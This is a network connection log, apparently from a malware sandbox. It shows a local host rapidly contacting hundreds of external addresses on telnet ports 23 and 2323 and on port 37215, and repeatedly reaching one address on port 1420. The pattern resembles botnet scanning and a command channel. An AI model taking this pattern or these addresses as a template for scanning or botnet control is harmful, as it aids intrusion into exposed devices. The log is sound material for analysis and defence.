Nov 3, 2024 15:37:08.478003979 CET	23	59944	47.253.35.131	192.168.2.14
Nov 3, 2024 15:37:08.478008032 CET	23	39788	187.103.207.15	192.168.2.14
Nov 3, 2024 15:37:08.478041887 CET	23	52206	163.66.150.50	192.168.2.14
Nov 3, 2024 15:37:08.478056908 CET	40228	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:08.478058100 CET	41012	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:08.478086948 CET	52990	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:08.478087902 CET	52206	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:08.478184938 CET	23	58226	194.111.203.19	192.168.2.14
Nov 3, 2024 15:37:08.478194952 CET	23	52460	27.253.80.216	192.168.2.14
Nov 3, 2024 15:37:08.478199005 CET	23	51294	158.59.156.239	192.168.2.14
Nov 3, 2024 15:37:08.478234053 CET	58226	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:08.478244066 CET	23	46218	200.73.4.192	192.168.2.14
Nov 3, 2024 15:37:08.478249073 CET	59010	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:08.478300095 CET	47002	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:08.478302002 CET	46218	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:08.478334904 CET	23	56940	182.18.189.14	192.168.2.14
Nov 3, 2024 15:37:08.478395939 CET	56940	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:08.478395939 CET	57724	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:08.478454113 CET	23	58480	92.244.50.65	192.168.2.14
Nov 3, 2024 15:37:08.478462934 CET	23	48422	94.211.102.37	192.168.2.14
Nov 3, 2024 15:37:08.478471041 CET	23	58542	19.21.233.59	192.168.2.14
Nov 3, 2024 15:37:08.478480101 CET	2323	38308	124.199.53.187	192.168.2.14
Nov 3, 2024 15:37:08.478494883 CET	23	48338	158.111.45.20	192.168.2.14
Nov 3, 2024 15:37:08.478503942 CET	23	52730	76.151.198.48	192.168.2.14
Nov 3, 2024 15:37:08.478513002 CET	48422	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:08.478528976 CET	49206	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:08.478535891 CET	23	41450	192.101.222.212	192.168.2.14
Nov 3, 2024 15:37:08.478554010 CET	48338	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:08.478554964 CET	49122	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:08.478569031 CET	52730	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:08.478570938 CET	53512	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:08.478599072 CET	41450	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:08.478601933 CET	42236	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:08.478617907 CET	23	60652	147.167.150.68	192.168.2.14
Nov 3, 2024 15:37:08.478627920 CET	2323	55904	40.29.69.57	192.168.2.14
Nov 3, 2024 15:37:08.478636026 CET	23	39298	95.7.248.48	192.168.2.14
Nov 3, 2024 15:37:08.478645086 CET	23	35996	220.175.15.213	192.168.2.14
Nov 3, 2024 15:37:08.478661060 CET	23	35550	112.36.219.79	192.168.2.14
Nov 3, 2024 15:37:08.478677988 CET	23	42574	223.189.226.43	192.168.2.14
Nov 3, 2024 15:37:08.478688002 CET	23	35576	17.161.80.63	192.168.2.14
Nov 3, 2024 15:37:08.478697062 CET	56688	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:08.478697062 CET	55904	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:08.478725910 CET	35550	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:08.478734970 CET	36334	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:08.478748083 CET	35576	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:08.478754044 CET	36358	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:08.478754997 CET	23	42744	220.79.181.27	192.168.2.14
Nov 3, 2024 15:37:08.478811026 CET	23	52664	133.246.198.193	192.168.2.14
Nov 3, 2024 15:37:08.478811979 CET	42744	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:08.478815079 CET	43526	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:08.478851080 CET	52664	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:08.478866100 CET	53452	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:08.478883982 CET	23	40266	14.48.137.200	192.168.2.14
Nov 3, 2024 15:37:08.478904009 CET	23	37068	188.106.7.94	192.168.2.14
Nov 3, 2024 15:37:08.478940010 CET	40266	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:08.478940964 CET	23	38002	58.180.112.255	192.168.2.14
Nov 3, 2024 15:37:08.478940964 CET	41050	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:08.479000092 CET	38786	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:08.479000092 CET	38002	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:08.479074001 CET	23	58130	46.254.41.21	192.168.2.14
Nov 3, 2024 15:37:08.479084015 CET	23	46336	57.65.200.63	192.168.2.14
Nov 3, 2024 15:37:08.479091883 CET	23	49702	195.40.216.94	192.168.2.14
Nov 3, 2024 15:37:08.479100943 CET	23	56628	110.104.107.135	192.168.2.14
Nov 3, 2024 15:37:08.479110003 CET	23	38828	217.133.166.36	192.168.2.14
Nov 3, 2024 15:37:08.479129076 CET	2323	50904	111.189.209.189	192.168.2.14
Nov 3, 2024 15:37:08.479134083 CET	58130	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:08.479136944 CET	2323	55786	42.44.11.242	192.168.2.14
Nov 3, 2024 15:37:08.479136944 CET	58914	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:08.479146957 CET	23	36512	12.229.181.141	192.168.2.14
Nov 3, 2024 15:37:08.479160070 CET	23	48132	62.98.53.29	192.168.2.14
Nov 3, 2024 15:37:08.479162931 CET	23	52186	86.153.95.87	192.168.2.14
Nov 3, 2024 15:37:08.479172945 CET	50904	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:08.479177952 CET	51688	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:08.479202986 CET	36512	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:08.479208946 CET	23	45092	70.41.158.155	192.168.2.14
Nov 3, 2024 15:37:08.479213953 CET	37296	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:08.479214907 CET	52186	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:08.479223967 CET	23	38908	4.236.6.211	192.168.2.14
Nov 3, 2024 15:37:08.479224920 CET	52970	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:08.479258060 CET	45092	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:08.479268074 CET	45876	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:08.479289055 CET	23	34816	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.479291916 CET	38908	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:08.479301929 CET	39692	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:08.479337931 CET	34816	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.479343891 CET	35600	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.479350090 CET	23	59080	95.95.105.118	192.168.2.14
Nov 3, 2024 15:37:08.479399920 CET	59080	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:08.479404926 CET	59864	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:08.479465961 CET	23	58122	193.225.59.23	192.168.2.14
Nov 3, 2024 15:37:08.479475021 CET	23	46536	200.43.66.135	192.168.2.14
Nov 3, 2024 15:37:08.479480028 CET	23	41614	4.246.132.96	192.168.2.14
Nov 3, 2024 15:37:08.479489088 CET	23	46656	59.73.242.243	192.168.2.14
Nov 3, 2024 15:37:08.479528904 CET	23	48144	144.24.164.98	192.168.2.14
Nov 3, 2024 15:37:08.479537010 CET	23	43494	35.107.7.74	192.168.2.14
Nov 3, 2024 15:37:08.479545116 CET	23	48148	154.146.183.93	192.168.2.14
Nov 3, 2024 15:37:08.479545116 CET	46536	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:08.479553938 CET	47320	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:08.479569912 CET	46656	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:08.479572058 CET	47440	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:08.479574919 CET	23	41614	54.121.110.247	192.168.2.14
Nov 3, 2024 15:37:08.479585886 CET	23	51048	48.53.153.29	192.168.2.14
Nov 3, 2024 15:37:08.479593039 CET	23	52814	186.158.159.146	192.168.2.14
Nov 3, 2024 15:37:08.479599953 CET	48148	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:08.479615927 CET	2323	41818	173.123.4.216	192.168.2.14
Nov 3, 2024 15:37:08.479615927 CET	48932	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:08.479625940 CET	23	60508	37.47.89.15	192.168.2.14
Nov 3, 2024 15:37:08.479634047 CET	23	37412	14.84.132.26	192.168.2.14
Nov 3, 2024 15:37:08.479636908 CET	41614	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:08.479657888 CET	23	49198	190.101.205.167	192.168.2.14
Nov 3, 2024 15:37:08.479661942 CET	42398	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:08.479686975 CET	37412	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:08.479697943 CET	38196	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:08.479707003 CET	23	59760	104.70.203.187	192.168.2.14
Nov 3, 2024 15:37:08.479717016 CET	23	52838	158.98.248.155	192.168.2.14
Nov 3, 2024 15:37:08.479721069 CET	2323	47244	204.135.188.133	192.168.2.14
Nov 3, 2024 15:37:08.479724884 CET	49198	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:08.479736090 CET	49980	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:08.479749918 CET	23	56672	65.106.77.236	192.168.2.14
Nov 3, 2024 15:37:08.479763031 CET	47244	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:08.479778051 CET	48030	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:08.479789972 CET	23	57016	156.65.37.226	192.168.2.14
Nov 3, 2024 15:37:08.479799986 CET	56672	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:08.479806900 CET	23	52400	58.248.159.67	192.168.2.14
Nov 3, 2024 15:37:08.479809046 CET	57452	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:08.479826927 CET	23	33694	91.194.136.78	192.168.2.14
Nov 3, 2024 15:37:08.479851007 CET	52400	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:08.479854107 CET	53180	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:08.479885101 CET	33694	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:08.479887009 CET	34482	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:08.479896069 CET	23	34126	101.46.247.29	192.168.2.14
Nov 3, 2024 15:37:08.479919910 CET	23	36224	115.213.254.52	192.168.2.14
Nov 3, 2024 15:37:08.479928970 CET	23	48934	125.253.59.164	192.168.2.14
Nov 3, 2024 15:37:08.479964972 CET	23	35078	194.195.119.223	192.168.2.14
Nov 3, 2024 15:37:08.479974031 CET	23	60060	77.107.154.14	192.168.2.14
Nov 3, 2024 15:37:08.479976892 CET	36224	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:08.479981899 CET	37012	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:08.479990005 CET	23	52926	89.178.158.237	192.168.2.14
Nov 3, 2024 15:37:08.479999065 CET	37215	60092	197.127.15.67	192.168.2.14
Nov 3, 2024 15:37:08.480012894 CET	35078	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:08.480030060 CET	35862	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:08.480031013 CET	37215	35264	156.201.202.122	192.168.2.14
Nov 3, 2024 15:37:08.480115891 CET	37215	45328	197.4.84.67	192.168.2.14
Nov 3, 2024 15:37:08.480204105 CET	37215	44194	41.118.32.70	192.168.2.14
Nov 3, 2024 15:37:08.480254889 CET	37215	57424	197.43.82.24	192.168.2.14
Nov 3, 2024 15:37:08.480335951 CET	23	39390	167.166.144.245	192.168.2.14
Nov 3, 2024 15:37:08.480345011 CET	37215	60850	197.152.148.149	192.168.2.14
Nov 3, 2024 15:37:08.480372906 CET	37215	36388	197.74.243.23	192.168.2.14
Nov 3, 2024 15:37:08.480412006 CET	2323	52668	98.140.174.214	192.168.2.14
Nov 3, 2024 15:37:08.480427027 CET	23	40386	194.211.140.76	192.168.2.14
Nov 3, 2024 15:37:08.480434895 CET	37215	56838	156.178.245.151	192.168.2.14
Nov 3, 2024 15:37:08.480460882 CET	23	49436	34.92.143.149	192.168.2.14
Nov 3, 2024 15:37:08.480496883 CET	37215	47400	41.253.117.242	192.168.2.14
Nov 3, 2024 15:37:08.480643988 CET	23	52286	220.201.163.92	192.168.2.14
Nov 3, 2024 15:37:08.480653048 CET	23	46250	193.35.112.167	192.168.2.14
Nov 3, 2024 15:37:08.480834007 CET	23	47578	34.114.183.65	192.168.2.14
Nov 3, 2024 15:37:08.480856895 CET	37215	42148	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.480885983 CET	42148	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.480973959 CET	23	39424	48.166.71.75	192.168.2.14
Nov 3, 2024 15:37:08.480983019 CET	23	54492	149.96.22.119	192.168.2.14
Nov 3, 2024 15:37:08.480990887 CET	23	58724	213.78.197.207	192.168.2.14
Nov 3, 2024 15:37:08.481101990 CET	23	43164	177.104.152.31	192.168.2.14
Nov 3, 2024 15:37:08.481118917 CET	23	39476	204.30.145.134	192.168.2.14
Nov 3, 2024 15:37:08.481189966 CET	37215	42148	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.481368065 CET	37215	42148	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.481378078 CET	23	53570	97.181.70.209	192.168.2.14
Nov 3, 2024 15:37:08.481383085 CET	2323	52596	176.239.168.154	192.168.2.14
Nov 3, 2024 15:37:08.481472015 CET	23	60634	102.73.14.35	192.168.2.14
Nov 3, 2024 15:37:08.481479883 CET	23	45870	93.77.214.197	192.168.2.14
Nov 3, 2024 15:37:08.481509924 CET	23	57452	217.172.159.38	192.168.2.14
Nov 3, 2024 15:37:08.481580973 CET	23	57636	190.15.21.214	192.168.2.14
Nov 3, 2024 15:37:08.481635094 CET	2323	33312	123.238.12.9	192.168.2.14
Nov 3, 2024 15:37:08.481789112 CET	23	55474	19.66.87.102	192.168.2.14
Nov 3, 2024 15:37:08.481797934 CET	23	60064	46.111.118.134	192.168.2.14
Nov 3, 2024 15:37:08.481807947 CET	23	56672	111.32.97.128	192.168.2.14
Nov 3, 2024 15:37:08.481883049 CET	23	40920	72.148.227.215	192.168.2.14
Nov 3, 2024 15:37:08.481925011 CET	23	55784	113.146.176.7	192.168.2.14
Nov 3, 2024 15:37:08.481987000 CET	23	48682	117.187.252.252	192.168.2.14
Nov 3, 2024 15:37:08.482069016 CET	23	39272	198.149.119.126	192.168.2.14
Nov 3, 2024 15:37:08.482238054 CET	23	55804	113.166.236.48	192.168.2.14
Nov 3, 2024 15:37:08.482347012 CET	23	58084	53.179.182.227	192.168.2.14
Nov 3, 2024 15:37:08.482356071 CET	23	59648	40.202.230.225	192.168.2.14
Nov 3, 2024 15:37:08.482364893 CET	23	47268	189.9.147.99	192.168.2.14
Nov 3, 2024 15:37:08.482445955 CET	2323	53134	211.187.163.172	192.168.2.14
Nov 3, 2024 15:37:08.482494116 CET	23	60482	53.6.227.181	192.168.2.14
Nov 3, 2024 15:37:08.482544899 CET	23	38638	216.154.32.150	192.168.2.14
Nov 3, 2024 15:37:08.482738972 CET	23	40228	83.75.122.68	192.168.2.14
Nov 3, 2024 15:37:08.482779980 CET	23	52206	163.66.150.50	192.168.2.14
Nov 3, 2024 15:37:08.482949018 CET	23	58226	194.111.203.19	192.168.2.14
Nov 3, 2024 15:37:08.482995033 CET	23	46218	200.73.4.192	192.168.2.14
Nov 3, 2024 15:37:08.483124018 CET	23	56940	182.18.189.14	192.168.2.14
Nov 3, 2024 15:37:08.483331919 CET	23	48422	94.211.102.37	192.168.2.14
Nov 3, 2024 15:37:08.483340979 CET	23	48338	158.111.45.20	192.168.2.14
Nov 3, 2024 15:37:08.483345032 CET	23	52730	76.151.198.48	192.168.2.14
Nov 3, 2024 15:37:08.483378887 CET	23	41450	192.101.222.212	192.168.2.14
Nov 3, 2024 15:37:08.483499050 CET	2323	55904	40.29.69.57	192.168.2.14
Nov 3, 2024 15:37:08.483508110 CET	23	35550	112.36.219.79	192.168.2.14
Nov 3, 2024 15:37:08.483511925 CET	23	35576	17.161.80.63	192.168.2.14
Nov 3, 2024 15:37:08.483520985 CET	23	42744	220.79.181.27	192.168.2.14
Nov 3, 2024 15:37:08.483561993 CET	23	52664	133.246.198.193	192.168.2.14
Nov 3, 2024 15:37:08.483655930 CET	23	40266	14.48.137.200	192.168.2.14
Nov 3, 2024 15:37:08.483817101 CET	23	38002	58.180.112.255	192.168.2.14
Nov 3, 2024 15:37:08.484004974 CET	23	58130	46.254.41.21	192.168.2.14
Nov 3, 2024 15:37:08.484014034 CET	2323	50904	111.189.209.189	192.168.2.14
Nov 3, 2024 15:37:08.484024048 CET	23	36512	12.229.181.141	192.168.2.14
Nov 3, 2024 15:37:08.484301090 CET	23	52186	86.153.95.87	192.168.2.14
Nov 3, 2024 15:37:08.484309912 CET	23	45092	70.41.158.155	192.168.2.14
Nov 3, 2024 15:37:08.484318972 CET	23	38908	4.236.6.211	192.168.2.14
Nov 3, 2024 15:37:08.484328032 CET	23	34816	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.484342098 CET	23	35600	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.484355927 CET	23	59080	95.95.105.118	192.168.2.14
Nov 3, 2024 15:37:08.484386921 CET	35600	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.484462976 CET	23	46536	200.43.66.135	192.168.2.14
Nov 3, 2024 15:37:08.484529972 CET	23	46656	59.73.242.243	192.168.2.14
Nov 3, 2024 15:37:08.484540939 CET	23	48148	154.146.183.93	192.168.2.14
Nov 3, 2024 15:37:08.484550953 CET	23	41614	54.121.110.247	192.168.2.14
Nov 3, 2024 15:37:08.484565973 CET	23	37412	14.84.132.26	192.168.2.14
Nov 3, 2024 15:37:08.484575033 CET	23	49198	190.101.205.167	192.168.2.14
Nov 3, 2024 15:37:08.484654903 CET	2323	47244	204.135.188.133	192.168.2.14
Nov 3, 2024 15:37:08.484663010 CET	23	56672	65.106.77.236	192.168.2.14
Nov 3, 2024 15:37:08.484672070 CET	23	52400	58.248.159.67	192.168.2.14
Nov 3, 2024 15:37:08.484680891 CET	23	33694	91.194.136.78	192.168.2.14
Nov 3, 2024 15:37:08.484708071 CET	23	36224	115.213.254.52	192.168.2.14
Nov 3, 2024 15:37:08.484771967 CET	23	35078	194.195.119.223	192.168.2.14
Nov 3, 2024 15:37:08.485655069 CET	37215	42148	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.489377975 CET	23	35600	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.489438057 CET	35600	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.489439011 CET	35628	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.494385958 CET	23	35600	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.494395971 CET	23	35628	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.494430065 CET	35628	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:09.336872101 CET	1420	32936	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:09.337028027 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.337044001 CET	32936	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.343945026 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.348798037 CET	1420	33980	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:09.348870993 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.348886967 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.353732109 CET	1420	33980	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:09.353780031 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:09.358542919 CET	1420	33980	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:09.465677977 CET	41192	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:09.465677977 CET	51398	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:09.465677977 CET	38502	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:09.465687037 CET	45366	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:09.465687037 CET	60452	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:09.465687037 CET	57782	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:09.465687990 CET	60308	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:09.465687990 CET	46676	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:09.465692997 CET	33800	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:09.465694904 CET	42016	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:09.465693951 CET	45506	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:09.465693951 CET	58442	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:09.465693951 CET	58394	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:09.465693951 CET	34444	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:09.465693951 CET	36828	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:09.465693951 CET	45658	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:09.465703011 CET	37540	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:09.465703964 CET	41220	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:09.465703011 CET	57034	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:09.465703011 CET	37898	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:09.465707064 CET	48004	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:09.465708017 CET	54374	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:09.465708017 CET	37416	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:09.465708017 CET	45648	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:09.465714931 CET	45990	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:09.465714931 CET	38146	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:09.465714931 CET	58422	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:09.465717077 CET	53218	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:09.465728045 CET	51558	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:09.465728998 CET	38920	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:09.465734959 CET	54724	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:09.465734959 CET	60342	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:09.465739965 CET	48092	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:09.465744019 CET	46460	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:09.465744019 CET	39846	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:09.465747118 CET	41986	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:09.465747118 CET	38904	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:09.465747118 CET	40892	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:09.465747118 CET	42028	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:09.465747118 CET	57102	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:09.465779066 CET	42180	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:09.465799093 CET	39282	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:09.465799093 CET	37230	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:09.465800047 CET	41702	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:09.465801001 CET	57694	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:09.465801001 CET	36138	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:09.465802908 CET	36222	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:09.465801001 CET	39452	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:09.465801001 CET	51396	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:09.465805054 CET	33076	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:09.465805054 CET	53364	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:09.465805054 CET	46924	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:09.465805054 CET	40618	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:09.465806961 CET	34678	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:09.465806961 CET	47528	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:09.465807915 CET	59604	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:09.465807915 CET	55280	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:09.465807915 CET	50786	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:09.465807915 CET	34606	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:09.465807915 CET	58774	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:09.465816975 CET	57658	37215	192.168.2.14	156.29.35.98
Nov 3, 2024 15:37:09.465821028 CET	58672	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:09.465821028 CET	46518	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:09.465832949 CET	38472	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:09.465832949 CET	42944	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:09.465832949 CET	43110	37215	192.168.2.14	41.22.164.49
Nov 3, 2024 15:37:09.465833902 CET	38458	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:09.465833902 CET	59982	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:09.465833902 CET	45568	37215	192.168.2.14	197.187.1.98
Nov 3, 2024 15:37:09.465837002 CET	43014	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:09.465837002 CET	40162	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:09.465837002 CET	44078	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:09.465837955 CET	40958	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:09.465837955 CET	34004	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:09.465837955 CET	47240	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:09.465842009 CET	58278	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:09.465842009 CET	47472	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:09.465842009 CET	43714	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:09.465842009 CET	42406	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:09.465848923 CET	53832	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:09.465848923 CET	49288	37215	192.168.2.14	156.187.67.11
Nov 3, 2024 15:37:09.465848923 CET	35842	37215	192.168.2.14	156.83.90.144
Nov 3, 2024 15:37:09.465853930 CET	40798	37215	192.168.2.14	41.18.15.227
Nov 3, 2024 15:37:09.465853930 CET	52630	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:09.465853930 CET	38298	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:09.465853930 CET	33714	37215	192.168.2.14	197.201.134.233
Nov 3, 2024 15:37:09.465854883 CET	59920	37215	192.168.2.14	156.93.27.183
Nov 3, 2024 15:37:09.465853930 CET	50710	37215	192.168.2.14	197.251.254.108
Nov 3, 2024 15:37:09.465854883 CET	59452	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:09.465854883 CET	42430	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:09.465857983 CET	52618	37215	192.168.2.14	197.81.39.24
Nov 3, 2024 15:37:09.465857983 CET	35662	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:09.465857983 CET	36866	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:09.465857983 CET	42642	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:09.465858936 CET	36684	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:09.465857983 CET	55124	37215	192.168.2.14	197.252.145.215
